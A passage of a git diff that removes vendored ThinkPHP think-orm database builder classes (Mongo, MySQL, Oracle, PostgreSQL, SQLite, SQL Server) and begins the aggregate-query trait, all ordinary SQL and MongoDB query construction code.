$result[$key] = ['$all', $this->parseValue($query, $value, $key)]; - } elseif ('between' == $exp) { - // 区间查询 - $value = is_array($value) ? $value : explode(',', $value); - $result[$key] = ['$gte' => $this->parseValue($query, $value[0], $key), '$lte' => $this->parseValue($query, $value[1], $key)]; - } elseif ('not between' == $exp) { - // 范围查询 - $value = is_array($value) ? $value : explode(',', $value); - $result[$key] = ['$lt' => $this->parseValue($query, $value[0], $key), '$gt' => $this->parseValue($query, $value[1], $key)]; - } elseif ('exists' == $exp) { - // 字段是否存在 - $result[$key] = ['$exists' => (bool) $value]; - } elseif ('type' == $exp) { - // 类型查询 - $result[$key] = ['$type' => intval($value)]; - } elseif ('exp' == $exp) { - // 表达式查询 - $result['$where'] = $value instanceof Javascript ? $value : new Javascript($value); - } elseif ('like' == $exp) { - // 模糊查询 采用正则方式 - $result[$key] = $value instanceof Regex ? $value : new Regex($value, 'i'); - } elseif (in_array($exp, ['nin', 'in'])) { - // IN 查询 - $value = is_array($value) ? $value : explode(',', $value); - foreach ($value as $k => $val) { - $value[$k] = $this->parseValue($query, $val, $key); - } - $result[$key] = ['$' . $exp => $value]; - } elseif ('regex' == $exp) { - $result[$key] = $value instanceof Regex ? $value : new Regex($value, 'i'); - } elseif ('< time' == $exp) { - $result[$key] = ['$lt' => $this->parseDateTime($query, $value, $field)]; - } elseif ('> time' == $exp) { - $result[$key] = ['$gt' => $this->parseDateTime($query, $value, $field)]; - } elseif ('between time' == $exp) { - // 区间查询 - $value = is_array($value) ? $value : explode(',', $value); - $result[$key] = ['$gte' => $this->parseDateTime($query, $value[0], $field), '$lte' => $this->parseDateTime($query, $value[1], $field)]; - } elseif ('not between time' == $exp) { - // 范围查询 - $value = is_array($value) ? $value : explode(',', $value); - $result[$key] = ['$lt' => $this->parseDateTime($query, $value[0], $field), '$gt' => $this->parseDateTime($query, $value[1], $field)]; - } elseif ('near' == $exp) { - // 经纬度查询 - $result[$key] = ['$near' => $this->parseValue($query, $value, $key)]; - } elseif ('size' == $exp) { - // 元素长度查询 - $result[$key] = ['$size' => intval($value)]; - } else { - // 普通查询 - $result[$key] = $this->parseValue($query, $value, $key); - } - - return $result; - } - - /** - * 日期时间条件解析 - * @access protected - * @param Query $query 查询对象 - * @param string $value - * @param string $key - * @return string - */ - protected function parseDateTime(Query $query, $value, $key) - { - // 获取时间字段类型 - $type = $query->getFieldType($key); - - if ($type) { - if (is_string($value)) { - $value = strtotime($value) ?: $value; - } - - if (is_int($value)) { - if (preg_match('/(datetime|timestamp)/is', $type)) { - // 日期及时间戳类型 - $value = date('Y-m-d H:i:s', $value); - } elseif (preg_match('/(date)/is', $type)) { - // 日期及时间戳类型 - $value = date('Y-m-d', $value); - } - } - } - - return $value; - } - - /** - * 获取最后写入的ID 如果是insertAll方法的话 返回所有写入的ID - * @access public - * @return mixed - */ - public function getLastInsID() - { - return $this->insertId; - } - - /** - * 生成insert BulkWrite对象 - * @access public - * @param Query $query 查询对象 - * @return BulkWrite - */ - public function insert(Query $query): BulkWrite - { - // 分析并处理数据 - $options = $query->getOptions(); - - $data = $this->parseData($query, $options['data']); - - $bulk = new BulkWrite; - - if ($insertId = $bulk->insert($data)) { - $this->insertId = $insertId; - } - - $this->log('insert', $data, $options); - - return $bulk; - } - - /** - * 生成insertall BulkWrite对象 - * @access public - * @param Query $query 查询对象 - * @param array $dataSet 数据集 - * @return BulkWrite - */ - public function insertAll(Query $query, array $dataSet): BulkWrite - { - $bulk = new BulkWrite; - $options = $query->getOptions(); - - $this->insertId = []; - foreach ($dataSet as $data) { - // 分析并处理数据 - $data = $this->parseData($query, $data); - if ($insertId = $bulk->insert($data)) { - $this->insertId[] = $insertId; - } - } - - $this->log('insert', $dataSet, $options); - - return $bulk; - } - - /** - * 生成update BulkWrite对象 - * @access public - * @param Query $query 查询对象 - * @return BulkWrite - */ - public function update(Query $query): BulkWrite - { - $options = $query->getOptions(); - - $data = $this->parseSet($query, $options['data']); - $where = $this->parseWhere($query, $options['where']); - - if (1 == $options['limit']) { - $updateOptions = ['multi' => false]; - } else { - $updateOptions = ['multi' => true]; - } - - $bulk = new BulkWrite; - - $bulk->update($where, $data, $updateOptions); - - $this->log('update', $data, $where); - - return $bulk; - } - - /** - * 生成delete BulkWrite对象 - * @access public - * @param Query $query 查询对象 - * @return BulkWrite - */ - public function delete(Query $query): BulkWrite - { - $options = $query->getOptions(); - $where = $this->parseWhere($query, $options['where']); - - $bulk = new BulkWrite; - - if (1 == $options['limit']) { - $deleteOptions = ['limit' => 1]; - } else { - $deleteOptions = ['limit' => 0]; - } - - $bulk->delete($where, $deleteOptions); - - $this->log('remove', $where, $deleteOptions); - - return $bulk; - } - - /** - * 生成Mongo查询对象 - * @access public - * @param Query $query 查询对象 - * @param bool $one 是否仅获取一个记录 - * @return MongoQuery - */ - public function select(Query $query, bool $one = false): MongoQuery - { - $options = $query->getOptions(); - - $where = $this->parseWhere($query, $options['where']); - - if ($one) { - $options['limit'] = 1; - } - - $query = new MongoQuery($where, $options); - - $this->log('find', $where, $options); - - return $query; - } - - /** - * 生成Count命令 - * @access public - * @param Query $query 查询对象 - * @return Command - */ - public function count(Query $query): Command - { - $options = $query->getOptions(); - - $cmd['count'] = $options['table']; - $cmd['query'] = (object) $this->parseWhere($query, $options['where']); - - foreach (['hint', 'limit', 'maxTimeMS', 'skip'] as $option) { - if (isset($options[$option])) { - $cmd[$option] = $options[$option]; - } - } - - $command = new Command($cmd); - $this->log('cmd', 'count', $cmd); - - return $command; - } - - /** - * 聚合查询命令 - * @access public - * @param Query $query 查询对象 - * @param array $extra 指令和字段 - * @return Command - */ - public function aggregate(Query $query, array $extra): Command - { - $options = $query->getOptions(); - [$fun, $field] = $extra; - - if ('id' == $field && $this->connection->getConfig('pk_convert_id')) { - $field = '_id'; - } - - $group = isset($options['group']) ? '$' . $options['group'] : null; - - $pipeline = [ - ['$match' => (object) $this->parseWhere($query, $options['where'])], - ['$group' => ['_id' => $group, 'aggregate' => ['$' . $fun => '$' . $field]]], - ]; - - $cmd = [ - 'aggregate' => $options['table'], - 'allowDiskUse' => true, - 'pipeline' => $pipeline, - 'cursor' => new \stdClass, - ]; - - foreach (['explain', 'collation', 'bypassDocumentValidation', 'readConcern'] as $option) { - if (isset($options[$option])) { - $cmd[$option] = $options[$option]; - } - } - - $command = new Command($cmd); - - $this->log('aggregate', $cmd); - - return $command; - } - - /** - * 多聚合查询命令, 可以对多个字段进行 group by 操作 - * - * @param Query $query 查询对象 - * @param array $extra 指令和字段 - * @return Command - */ - public function multiAggregate(Query $query, $extra): Command - { - $options = $query->getOptions(); - - [$aggregate, $groupBy] = $extra; - - $groups = ['_id' => []]; - - foreach ($groupBy as $field) { - $groups['_id'][$field] = '$' . $field; - } - - foreach ($aggregate as $fun => $field) { - $groups[$field . '_' . $fun] = ['$' . $fun => '$' . $field]; - } - - $pipeline = [ - ['$match' => (object) $this->parseWhere($query, $options['where'])], - ['$group' => $groups], - ]; - - $cmd = [ - 'aggregate' => $options['table'], - 'allowDiskUse' => true, - 'pipeline' => $pipeline, - 'cursor' => new \stdClass, - ]; - - foreach (['explain', 'collation', 'bypassDocumentValidation', 'readConcern'] as $option) { - if (isset($options[$option])) { - $cmd[$option] = $options[$option]; - } - } - - $command = new Command($cmd); - $this->log('group', $cmd); - - return $command; - } - - /** - * 生成distinct命令 - * @access public - * @param Query $query 查询对象 - * @param string $field 字段名 - * @return Command - */ - public function distinct(Query $query, $field): Command - { - $options = $query->getOptions(); - - $cmd = [ - 'distinct' => $options['table'], - 'key' => $field, - ]; - - if (!empty($options['where'])) { - $cmd['query'] = (object) $this->parseWhere($query, $options['where']); - } - - if (isset($options['maxTimeMS'])) { - $cmd['maxTimeMS'] = $options['maxTimeMS']; - } - - $command = new Command($cmd); - - $this->log('cmd', 'distinct', $cmd); - - return $command; - } - - /** - * 查询所有的collection - * @access public - * @return Command - */ - public function listcollections(): Command - { - $cmd = ['listCollections' => 1]; - $command = new Command($cmd); - - $this->log('cmd', 'listCollections', $cmd); - - return $command; - } - - /** - * 查询数据表的状态信息 - * @access public - * @param Query $query 查询对象 - * @return Command - */ - public function collStats(Query $query): Command - { - $options = $query->getOptions(); - - $cmd = ['collStats' => $options['table']]; - $command = new Command($cmd); - - $this->log('cmd', 'collStats', $cmd); - - return $command; - } - - protected function log($type, $data, $options = []) - { - $this->connection->mongoLog($type, $data, $options); - } -} diff --git a/vendor/topthink/think-orm/src/db/builder/Mysql.php b/vendor/topthink/think-orm/src/db/builder/Mysql.php deleted file mode 100644 index df6bffd..0000000 --- a/vendor/topthink/think-orm/src/db/builder/Mysql.php +++ /dev/null @@ -1,421 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\builder; - -use think\db\Builder; -use think\db\exception\DbException as Exception; -use think\db\Query; -use think\db\Raw; - -/** - * mysql数据库驱动 - */ -class Mysql extends Builder -{ - /** - * 查询表达式解析 - * @var array - */ - protected $parser = [ - 'parseCompare' => ['=', '<>', '>', '>=', '<', '<='], - 'parseLike' => ['LIKE', 'NOT LIKE'], - 'parseBetween' => ['NOT BETWEEN', 'BETWEEN'], - 'parseIn' => ['NOT IN', 'IN'], - 'parseExp' => ['EXP'], - 'parseRegexp' => ['REGEXP', 'NOT REGEXP'], - 'parseNull' => ['NOT NULL', 'NULL'], - 'parseBetweenTime' => ['BETWEEN TIME', 'NOT BETWEEN TIME'], - 'parseTime' => ['< TIME', '> TIME', '<= TIME', '>= TIME'], - 'parseExists' => ['NOT EXISTS', 'EXISTS'], - 'parseColumn' => ['COLUMN'], - 'parseFindInSet' => ['FIND IN SET'], - ]; - - /** - * SELECT SQL表达式 - * @var string - */ - protected $selectSql = 'SELECT%DISTINCT%%EXTRA% %FIELD% FROM %TABLE%%PARTITION%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%UNION%%ORDER%%LIMIT% %LOCK%%COMMENT%'; - - /** - * INSERT SQL表达式 - * @var string - */ - protected $insertSql = '%INSERT%%EXTRA% INTO %TABLE%%PARTITION% SET %SET% %DUPLICATE%%COMMENT%'; - - /** - * INSERT ALL SQL表达式 - * @var string - */ - protected $insertAllSql = '%INSERT%%EXTRA% INTO %TABLE%%PARTITION% (%FIELD%) VALUES %DATA% %DUPLICATE%%COMMENT%'; - - /** - * UPDATE SQL表达式 - * @var string - */ - protected $updateSql = 'UPDATE%EXTRA% %TABLE%%PARTITION% %JOIN% SET %SET% %WHERE% %ORDER%%LIMIT% %LOCK%%COMMENT%'; - - /** - * DELETE SQL表达式 - * @var string - */ - protected $deleteSql = 'DELETE%EXTRA% FROM %TABLE%%PARTITION%%USING%%JOIN%%WHERE%%ORDER%%LIMIT% %LOCK%%COMMENT%'; - - /** - * 生成查询SQL - * @access public - * @param Query $query 查询对象 - * @param bool $one 是否仅获取一个记录 - * @return string - */ - public function select(Query $query, bool $one = false): string - { - $options = $query->getOptions(); - - return str_replace( - ['%TABLE%', '%PARTITION%', '%DISTINCT%', '%EXTRA%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'], - [ - $this->parseTable($query, $options['table']), - $this->parsePartition($query, $options['partition']), - $this->parseDistinct($query, $options['distinct']), - $this->parseExtra($query, $options['extra']), - $this->parseField($query, $options['field']), - $this->parseJoin($query, $options['join']), - $this->parseWhere($query, $options['where']), - $this->parseGroup($query, $options['group']), - $this->parseHaving($query, $options['having']), - $this->parseOrder($query, $options['order']), - $this->parseLimit($query, $one ? '1' : $options['limit']), - $this->parseUnion($query, $options['union']), - $this->parseLock($query, $options['lock']), - $this->parseComment($query, $options['comment']), - $this->parseForce($query, $options['force']), - ], - $this->selectSql); - } - - /** - * 生成Insert SQL - * @access public - * @param Query $query 查询对象 - * @return string - */ - public function insert(Query $query): string - { - $options = $query->getOptions(); - - // 分析并处理数据 - $data = $this->parseData($query, $options['data']); - if (empty($data)) { - return ''; - } - - $set = []; - foreach ($data as $key => $val) { - $set[] = $key . ' = ' . $val; - } - - return str_replace( - ['%INSERT%', '%EXTRA%', '%TABLE%', '%PARTITION%', '%SET%', '%DUPLICATE%', '%COMMENT%'], - [ - !empty($options['replace']) ? 'REPLACE' : 'INSERT', - $this->parseExtra($query, $options['extra']), - $this->parseTable($query, $options['table']), - $this->parsePartition($query, $options['partition']), - implode(' , ', $set), - $this->parseDuplicate($query, $options['duplicate']), - $this->parseComment($query, $options['comment']), - ], - $this->insertSql); - } - - /** - * 生成insertall SQL - * @access public - * @param Query $query 查询对象 - * @param array $dataSet 数据集 - * @param bool $replace 是否replace - * @return string - */ - public function insertAll(Query $query, array $dataSet, bool $replace = false): string - { - $options = $query->getOptions(); - - // 获取绑定信息 - $bind = $query->getFieldsBindType(); - - // 获取合法的字段 - if ('*' == $options['field']) { - $allowFields = array_keys($bind); - } else { - $allowFields = $options['field']; - } - - $fields = []; - $values = []; - - foreach ($dataSet as $data) { - $data = $this->parseData($query, $data, $allowFields, $bind); - - $values[] = '( ' . implode(',', array_values($data)) . ' )'; - - if (!isset($insertFields)) { - $insertFields = array_keys($data); - } - } - - foreach ($insertFields as $field) { - $fields[] = $this->parseKey($query, $field); - } - - return str_replace( - ['%INSERT%', '%EXTRA%', '%TABLE%', '%PARTITION%', '%FIELD%', '%DATA%', '%DUPLICATE%', '%COMMENT%'], - [ - $replace ? 'REPLACE' : 'INSERT', - $this->parseExtra($query, $options['extra']), - $this->parseTable($query, $options['table']), - $this->parsePartition($query, $options['partition']), - implode(' , ', $fields), - implode(' , ', $values), - $this->parseDuplicate($query, $options['duplicate']), - $this->parseComment($query, $options['comment']), - ], - $this->insertAllSql); - } - - /** - * 生成update SQL - * @access public - * @param Query $query 查询对象 - * @return string - */ - public function update(Query $query): string - { - $options = $query->getOptions(); - - $data = $this->parseData($query, $options['data']); - - if (empty($data)) { - return ''; - } - $set = []; - foreach ($data as $key => $val) { - $set[] = $key . ' = ' . $val; - } - - return str_replace( - ['%TABLE%', '%PARTITION%', '%EXTRA%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'], - [ - $this->parseTable($query, $options['table']), - $this->parsePartition($query, $options['partition']), - $this->parseExtra($query, $options['extra']), - implode(' , ', $set), - $this->parseJoin($query, $options['join']), - $this->parseWhere($query, $options['where']), - $this->parseOrder($query, $options['order']), - $this->parseLimit($query, $options['limit']), - $this->parseLock($query, $options['lock']), - $this->parseComment($query, $options['comment']), - ], - $this->updateSql); - } - - /** - * 生成delete SQL - * @access public - * @param Query $query 查询对象 - * @return string - */ - public function delete(Query $query): string - { - $options = $query->getOptions(); - - return str_replace( - ['%TABLE%', '%PARTITION%', '%EXTRA%', '%USING%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'], - [ - $this->parseTable($query, $options['table']), - $this->parsePartition($query, $options['partition']), - $this->parseExtra($query, $options['extra']), - !empty($options['using']) ? ' USING ' . $this->parseTable($query, $options['using']) . ' ' : '', - $this->parseJoin($query, $options['join']), - $this->parseWhere($query, $options['where']), - $this->parseOrder($query, $options['order']), - $this->parseLimit($query, $options['limit']), - $this->parseLock($query, $options['lock']), - $this->parseComment($query, $options['comment']), - ], - $this->deleteSql); - } - - /** - * 正则查询 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param string $exp - * @param mixed $value - * @param string $field - * @return string - */ - protected function parseRegexp(Query $query, string $key, string $exp, $value, string $field): string - { - if ($value instanceof Raw) { - $value = $this->parseRaw($query, $value); - } - - return $key . ' ' . $exp . ' ' . $value; - } - - /** - * FIND_IN_SET 查询 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param string $exp - * @param mixed $value - * @param string $field - * @return string - */ - protected function parseFindInSet(Query $query, string $key, string $exp, $value, string $field): string - { - if ($value instanceof Raw) { - $value = $this->parseRaw($query, $value); - } - - return 'FIND_IN_SET(' . $value . ', ' . $key . ')'; - } - - /** - * 字段和表名处理 - * @access public - * @param Query $query 查询对象 - * @param mixed $key 字段名 - * @param bool $strict 严格检测 - * @return string - */ - public function parseKey(Query $query, $key, bool $strict = false): string - { - if (is_int($key)) { - return (string) $key; - } elseif ($key instanceof Raw) { - return $this->parseRaw($query, $key); - } - - $key = trim($key); - - if (strpos($key, '->') && false === strpos($key, '(')) { - // JSON字段支持 - [$field, $name] = explode('->', $key, 2); - return 'json_extract(' . $this->parseKey($query, $field) . ', \'$' . (strpos($name, '[') === 0 ? '' : '.') . str_replace('->', '.', $name) . '\')'; - } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) { - [$table, $key] = explode('.', $key, 2); - - $alias = $query->getOptions('alias'); - - if ('__TABLE__' == $table) { - $table = $query->getOptions('table'); - $table = is_array($table) ? array_shift($table) : $table; - } - - if (isset($alias[$table])) { - $table = $alias[$table]; - } - } - - if ($strict && !preg_match('/^[\w\.\*]+$/', $key)) { - throw new Exception('not support data:' . $key); - } - - if ('*' != $key && !preg_match('/[,\'\"\*\(\)`.\s]/', $key)) { - $key = '`' . $key . '`'; - } - - if (isset($table)) { - if (strpos($table, '.')) { - $table = str_replace('.', '`.`', $table); - } - - $key = '`' . $table . '`.' . $key; - } - - return $key; - } - - /** - * 随机排序 - * @access protected - * @param Query $query 查询对象 - * @return string - */ - protected function parseRand(Query $query): string - { - return 'rand()'; - } - - /** - * Partition 分析 - * @access protected - * @param Query $query 查询对象 - * @param string|array $partition 分区 - * @return string - */ - protected function parsePartition(Query $query, $partition): string - { - if ('' == $partition) { - return ''; - } - - if (is_string($partition)) { - $partition = explode(',', $partition); - } - - return ' PARTITION (' . implode(' , ', $partition) . ') '; - } - - /** - * ON DUPLICATE KEY UPDATE 分析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $duplicate - * @return string - */ - protected function parseDuplicate(Query $query, $duplicate): string - { - if ('' == $duplicate) { - return ''; - } - - if ($duplicate instanceof Raw) { - return ' ON DUPLICATE KEY UPDATE ' . $this->parseRaw($query, $duplicate) . ' '; - } - - if (is_string($duplicate)) { - $duplicate = explode(',', $duplicate); - } - - $updates = []; - foreach ($duplicate as $key => $val) { - if (is_numeric($key)) { - $val = $this->parseKey($query, $val); - $updates[] = $val . ' = VALUES(' . $val . ')'; - } elseif ($val instanceof Raw) { - $updates[] = $this->parseKey($query, $key) . " = " . $this->parseRaw($query, $val); - } else { - $name = $query->bindValue($val, $query->getConnection()->getFieldBindType($key)); - $updates[] = $this->parseKey($query, $key) . " = :" . $name; - } - } - - return ' ON DUPLICATE KEY UPDATE ' . implode(' , ', $updates) . ' '; - } -} diff --git a/vendor/topthink/think-orm/src/db/builder/Oracle.php b/vendor/topthink/think-orm/src/db/builder/Oracle.php deleted file mode 100644 index 77ad3c8..0000000 --- a/vendor/topthink/think-orm/src/db/builder/Oracle.php +++ /dev/null @@ -1,95 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\builder; - -use think\db\Builder; -use think\db\Query; - -/** - * Oracle数据库驱动 - */ -class Oracle extends Builder -{ - protected $selectSql = 'SELECT * FROM (SELECT thinkphp.*, rownum AS numrow FROM (SELECT %DISTINCT% %FIELD% FROM %TABLE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%) thinkphp ) %LIMIT%%COMMENT%'; - - /** - * limit分析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $limit - * @return string - */ - protected function parseLimit(Query $query, string $limit): string - { - $limitStr = ''; - - if (!empty($limit)) { - $limit = explode(',', $limit); - - if (count($limit) > 1) { - $limitStr = "(numrow>" . $limit[0] . ") AND (numrow<=" . ($limit[0] + $limit[1]) . ")"; - } else { - $limitStr = "(numrow>0 AND numrow<=" . $limit[0] . ")"; - } - - } - - return $limitStr ? ' WHERE ' . $limitStr : ''; - } - - /** - * 设置锁机制 - * @access protected - * @param Query $query 查询对象 - * @param bool|false $lock - * @return string - */ - protected function parseLock(Query $query, $lock = false): string - { - if (!$lock) { - return ''; - } - - return ' FOR UPDATE NOWAIT '; - } - - /** - * 字段和表名处理 - * @access public - * @param Query $query 查询对象 - * @param string $key - * @param string $strict - * @return string - */ - public function parseKey(Query $query, $key, bool $strict = false): string - { - $key = trim($key); - - if (strpos($key, '->') && false === strpos($key, '(')) { - // JSON字段支持 - [$field, $name] = explode($key, '->'); - $key = $field . '."' . $name . '"'; - } - - return $key; - } - - /** - * 随机排序 - * @access protected - * @param Query $query 查询对象 - * @return string - */ - protected function parseRand(Query $query): string - { - return 'DBMS_RANDOM.value'; - } -} diff --git a/vendor/topthink/think-orm/src/db/builder/Pgsql.php b/vendor/topthink/think-orm/src/db/builder/Pgsql.php deleted file mode 100644 index 4eace0a..0000000 --- a/vendor/topthink/think-orm/src/db/builder/Pgsql.php +++ /dev/null @@ -1,118 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\builder; - -use think\db\Builder; -use think\db\Query; -use think\db\Raw; - -/** - * Pgsql数据库驱动 - */ -class Pgsql extends Builder -{ - /** - * INSERT SQL表达式 - * @var string - */ - protected $insertSql = 'INSERT INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%'; - - /** - * INSERT ALL SQL表达式 - * @var string - */ - protected $insertAllSql = 'INSERT INTO %TABLE% (%FIELD%) %DATA% %COMMENT%'; - - /** - * limit分析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $limit - * @return string - */ - public function parseLimit(Query $query, string $limit): string - { - $limitStr = ''; - - if (!empty($limit)) { - $limit = explode(',', $limit); - if (count($limit) > 1) { - $limitStr .= ' LIMIT ' . $limit[1] . ' OFFSET ' . $limit[0] . ' '; - } else { - $limitStr .= ' LIMIT ' . $limit[0] . ' '; - } - } - - return $limitStr; - } - - /** - * 字段和表名处理 - * @access public - * @param Query $query 查询对象 - * @param mixed $key 字段名 - * @param bool $strict 严格检测 - * @return string - */ - public function parseKey(Query $query, $key, bool $strict = false): string - { - if (is_int($key)) { - return (string) $key; - } elseif ($key instanceof Raw) { - return $this->parseRaw($query, $key); - } - - $key = trim($key); - - if (strpos($key, '->') && false === strpos($key, '(')) { - // JSON字段支持 - [$field, $name] = explode('->', $key); - $key = '"' . $field . '"' . '->>\'' . $name . '\''; - } elseif (strpos($key, '.')) { - [$table, $key] = explode('.', $key, 2); - - $alias = $query->getOptions('alias'); - - if ('__TABLE__' == $table) { - $table = $query->getOptions('table'); - $table = is_array($table) ? array_shift($table) : $table; - } - - if (isset($alias[$table])) { - $table = $alias[$table]; - } - - if ('*' != $key && !preg_match('/[,\"\*\(\).\s]/', $key)) { - $key = '"' . $key . '"'; - } - } - - if (isset($table)) { - $key = $table . '.' . $key; - } - - return $key; - } - - /** - * 随机排序 - * @access protected - * @param Query $query 查询对象 - * @return string - */ - protected function parseRand(Query $query): string - { - return 'RANDOM()'; - } - -} diff --git a/vendor/topthink/think-orm/src/db/builder/Sqlite.php b/vendor/topthink/think-orm/src/db/builder/Sqlite.php deleted file mode 100644 index 40cab7f..0000000 --- a/vendor/topthink/think-orm/src/db/builder/Sqlite.php +++ /dev/null @@ -1,97 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\builder; - -use think\db\Builder; -use think\db\Query; -use think\db\Raw; - -/** - * Sqlite数据库驱动 - */ -class Sqlite extends Builder -{ - /** - * limit - * @access public - * @param Query $query 查询对象 - * @param mixed $limit - * @return string - */ - public function parseLimit(Query $query, string $limit): string - { - $limitStr = ''; - - if (!empty($limit)) { - $limit = explode(',', $limit); - if (count($limit) > 1) { - $limitStr .= ' LIMIT ' . $limit[1] . ' OFFSET ' . $limit[0] . ' '; - } else { - $limitStr .= ' LIMIT ' . $limit[0] . ' '; - } - } - - return $limitStr; - } - - /** - * 随机排序 - * @access protected - * @param Query $query 查询对象 - * @return string - */ - protected function parseRand(Query $query): string - { - return 'RANDOM()'; - } - - /** - * 字段和表名处理 - * @access public - * @param Query $query 查询对象 - * @param mixed $key 字段名 - * @param bool $strict 严格检测 - * @return string - */ - public function parseKey(Query $query, $key, bool $strict = false): string - { - if (is_int($key)) { - return (string) $key; - } elseif ($key instanceof Raw) { - return $this->parseRaw($query, $key); - } - - $key = trim($key); - - if (strpos($key, '.')) { - [$table, $key] = explode('.', $key, 2); - - $alias = $query->getOptions('alias'); - - if ('__TABLE__' == $table) { - $table = $query->getOptions('table'); - $table = is_array($table) ? array_shift($table) : $table; - } - - if (isset($alias[$table])) { - $table = $alias[$table]; - } - } - - if (isset($table)) { - $key = $table . '.' . $key; - } - - return $key; - } -} diff --git a/vendor/topthink/think-orm/src/db/builder/Sqlsrv.php b/vendor/topthink/think-orm/src/db/builder/Sqlsrv.php deleted file mode 100644 index 779b5e3..0000000 --- a/vendor/topthink/think-orm/src/db/builder/Sqlsrv.php +++ /dev/null @@ -1,184 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\db\builder; - -use think\db\Builder; -use think\db\exception\DbException as Exception; -use think\db\Query; -use think\db\Raw; - -/** - * Sqlsrv数据库驱动 - */ -class Sqlsrv extends Builder -{ - /** - * SELECT SQL表达式 - * @var string - */ - protected $selectSql = 'SELECT T1.* FROM (SELECT thinkphp.*, ROW_NUMBER() OVER (%ORDER%) AS ROW_NUMBER FROM (SELECT %DISTINCT% %FIELD% FROM %TABLE%%JOIN%%WHERE%%GROUP%%HAVING%) AS thinkphp) AS T1 %LIMIT%%COMMENT%'; - /** - * SELECT INSERT SQL表达式 - * @var string - */ - protected $selectInsertSql = 'SELECT %DISTINCT% %FIELD% FROM %TABLE%%JOIN%%WHERE%%GROUP%%HAVING%'; - - /** - * UPDATE SQL表达式 - * @var string - */ - protected $updateSql = 'UPDATE %TABLE% SET %SET% FROM %TABLE% %JOIN% %WHERE% %LIMIT% %LOCK%%COMMENT%'; - - /** - * DELETE SQL表达式 - * @var string - */ - protected $deleteSql = 'DELETE FROM %TABLE% %USING% FROM %TABLE% %JOIN% %WHERE% %LIMIT% %LOCK%%COMMENT%'; - - /** - * INSERT SQL表达式 - * @var string - */ - protected $insertSql = 'INSERT INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%'; - - /** - * INSERT ALL SQL表达式 - * @var string - */ - protected $insertAllSql = 'INSERT INTO %TABLE% (%FIELD%) %DATA% %COMMENT%'; - - /** - * order分析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $order - * @return string - */ - protected function parseOrder(Query $query, array $order): string - { - if (empty($order)) { - return ' ORDER BY rand()'; - } - - $array = []; - - foreach ($order as $key => $val) { - if ($val instanceof Raw) { - $array[] = $this->parseRaw($query, $val); - } elseif ('[rand]' == $val) { - $array[] = $this->parseRand($query); - } else { - if (is_numeric($key)) { - [$key, $sort] = explode(' ', strpos($val, ' ') ? $val : $val . ' '); - } else { - $sort = $val; - } - - $sort = in_array(strtolower($sort), ['asc', 'desc'], true) ? ' ' . $sort : ''; - $array[] = $this->parseKey($query, $key, true) . $sort; - } - } - - return ' ORDER BY ' . implode(',', $array); - } - - /** - * 随机排序 - * @access protected - * @param Query $query 查询对象 - * @return string - */ - protected function parseRand(Query $query): string - { - return 'rand()'; - } - - /** - * 字段和表名处理 - * @access public - * @param Query $query 查询对象 - * @param mixed $key 字段名 - * @param bool $strict 严格检测 - * @return string - */ - public function parseKey(Query $query, $key, bool $strict = false): string - { - if (is_int($key)) { - return (string) $key; - } elseif ($key instanceof Raw) { - return $this->parseRaw($query, $key); - } - - $key = trim($key); - - if (strpos($key, '.') && !preg_match('/[,\'\"\(\)\[\s]/', $key)) { - [$table, $key] = explode('.', $key, 2); - - $alias = $query->getOptions('alias'); - - if ('__TABLE__' == $table) { - $table = $query->getOptions('table'); - $table = is_array($table) ? array_shift($table) : $table; - } - - if (isset($alias[$table])) { - $table = $alias[$table]; - } - } - - if ($strict && !preg_match('/^[\w\.\*]+$/', $key)) { - throw new Exception('not support data:' . $key); - } - - if ('*' != $key && !preg_match('/[,\'\"\*\(\)\[.\s]/', $key)) { - $key = '[' . $key . ']'; - } - - if (isset($table)) { - $key = '[' . $table . '].' . $key; - } - - return $key; - } - - /** - * limit - * @access protected - * @param Query $query 查询对象 - * @param mixed $limit - * @return string - */ - protected function parseLimit(Query $query, string $limit): string - { - if (empty($limit)) { - return ''; - } - - $limit = explode(',', $limit); - - if (count($limit) > 1) { - $limitStr = '(T1.ROW_NUMBER BETWEEN ' . $limit[0] . ' + 1 AND ' . $limit[0] . ' + ' . $limit[1] . ')'; - } else { - $limitStr = '(T1.ROW_NUMBER BETWEEN 1 AND ' . $limit[0] . ")"; - } - - return 'WHERE ' . $limitStr; - } - - public function selectInsert(Query $query, array $fields, string $table): string - { - $this->selectSql = $this->selectInsertSql; - - return parent::selectInsert($query, $fields, $table); - } - -} diff --git a/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php b/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php deleted file mode 100644 index dabfb92..0000000 --- a/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php +++ /dev/null @@ -1,107 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\concern; - -use think\db\Raw; - -/** - * 聚合查询 - */ -trait AggregateQuery -{ - /** - * 聚合查询 - * @access protected - * @param string $aggregate 聚合方法 - * @param string|Raw $field 字段名 - * @param bool $force 强制转为数字类型 - * @return mixed - */ - protected function aggregate(string $aggregate, $field, bool $force = false) - { - return $this->connection->aggregate($this, $aggregate, $field, $force); - } - - /** - * COUNT查询 - * @access public - * @param string|Raw $field 字段名 - * @return int - */ - public function count(string $field = '*'): int - { - if 